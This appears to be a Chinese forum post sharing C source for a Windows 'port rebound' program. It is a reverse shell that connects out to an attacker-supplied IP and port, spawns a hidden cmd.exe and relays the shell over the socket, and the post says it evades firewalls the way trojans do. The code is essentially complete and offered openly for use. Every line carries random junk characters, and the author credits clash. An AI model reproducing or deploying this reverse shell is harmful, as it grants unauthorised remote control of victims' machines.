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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2;q6~Y,  
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/* ============================== \zKVgywR  
Rebound port in Windows NT tV<A u  
By wind,2006/7 t!PFosFp  
===============================*/ 1e&`m~5K+  
#include rm2TWM|  
#include KLoHjBq  
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#pragma comment(lib,"wsock32.lib") pE=wP/#  
8*|@A6ig  
void OutputShell(); q k !Q2W  
SOCKET sClient; SQEXC*08  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =7$YBCuF  
8sL7p4  
void main(int argc,char **argv) {Xl 5F.q  
{ LDbo  
WSADATA stWsaData; za24-q  
int nRet; =n;ileGm+^  
SOCKADDR_IN stSaiClient,stSaiServer; &3AGj,  
/at#[Pw~01  
if(argc != 3) }U8H4B~UtY  
{ j| 257D  
printf("Useage:\n\rRebound DestIP DestPort\n"); {6~W2zX&  
return; f}@]dFr  
} wD*_S}]  
=!p6}5Z  
WSAStartup(MAKEWORD(2,2),&stWsaData); &gq\e^0CRZ  
1W; +hXx  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T,;6q!s=  
inp=-  
stSaiClient.sin_family = AF_INET; ;8U NM  
stSaiClient.sin_port = htons(0); ne;,TJ\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &oAuh?kTq  
T6{IuQjXs  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i8 dv|oa  
{ (=7e~'DC  
printf("Bind Socket Failed!\n"); ZZ4W?);;  
return; cnI!}Bu  
} _7 n+j  
\b' <q  
stSaiServer.sin_family = AF_INET; bZ0r/f,n$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }J:~}?^%n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .lqo>Ta y  
96 C|R  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n#m )]YQC  
{ b`1P%OjC  
printf("Connect Error!"); h v9s  
return; cA_v*`YL  
} lS}5bcjR=k  
OutputShell(); UP#]n 69y  
} @1rF9< 4g  
R_(A&,  
void OutputShell() Ll&Y_Ry  
{ }"_S;[{d  
char szBuff[1024]; 2<<,aL*  
SECURITY_ATTRIBUTES stSecurityAttributes; GT* \gZ  
OSVERSIONINFO stOsversionInfo; B<+}_3.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y|c]r!A  
STARTUPINFO stStartupInfo; _e/v w:  
char *szShell; U+nwLxe'  
PROCESS_INFORMATION stProcessInformation; .(3B}}gB>  
unsigned long lBytesRead; W4T>@ b.  
I2D<~xP~2+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '|Cs!Zl  
Rh~<#"G]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w!tQU9+ *  
stSecurityAttributes.lpSecurityDescriptor = 0; 5q" ;R$+j  
stSecurityAttributes.bInheritHandle = TRUE; 8r+R~{  
, Lhgv1  
Rh,*tS  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MX  qH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :fo%)_Jc!  
Av7bp[OD  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e>Is$+[`7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R$NH [Tz  
stStartupInfo.wShowWindow = SW_HIDE; WCU[]A  
stStartupInfo.hStdInput = hReadPipe; z]~B@9l  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YpXUYNy  
w0VJt<e*  
GetVersionEx(&stOsversionInfo); Gv3a<Knn4  
~[l2"@  
switch(stOsversionInfo.dwPlatformId) lshO'I+)*  
{ BpRQG]L  
case 1: fXO"Mr1  
szShell = "command.com"; irpO(>LK  
break; fok OjTE  
default: 6?z&G6  
szShell = "cmd.exe"; QD q2<  
break; G+=&\+{#4  
} 8la.N*  
#;>J<>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uB0/H=<H  
y~''r%]   
send(sClient,szMsg,77,0); Q:lSKf  
while(1) Lab{?!E>U  
{ 8qo{%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); OP%h`  
if(lBytesRead) ;OE{&  
{ 8gr&{-5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5fM/y3QPsZ  
send(sClient,szBuff,lBytesRead,0); X 1^f0\k  
} ]MRE^Je\h  
else 8K7zh.E  
{ r B)m{)  
lBytesRead=recv(sClient,szBuff,1024,0); 'GS1"rkW<5  
if(lBytesRead<=0) break; 'd(OFE-hn  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1KAA(W;nq  
} GAEz :n  
} vNHM e{,u  
_~fO8_vr  
return; v`bX#\It  
}
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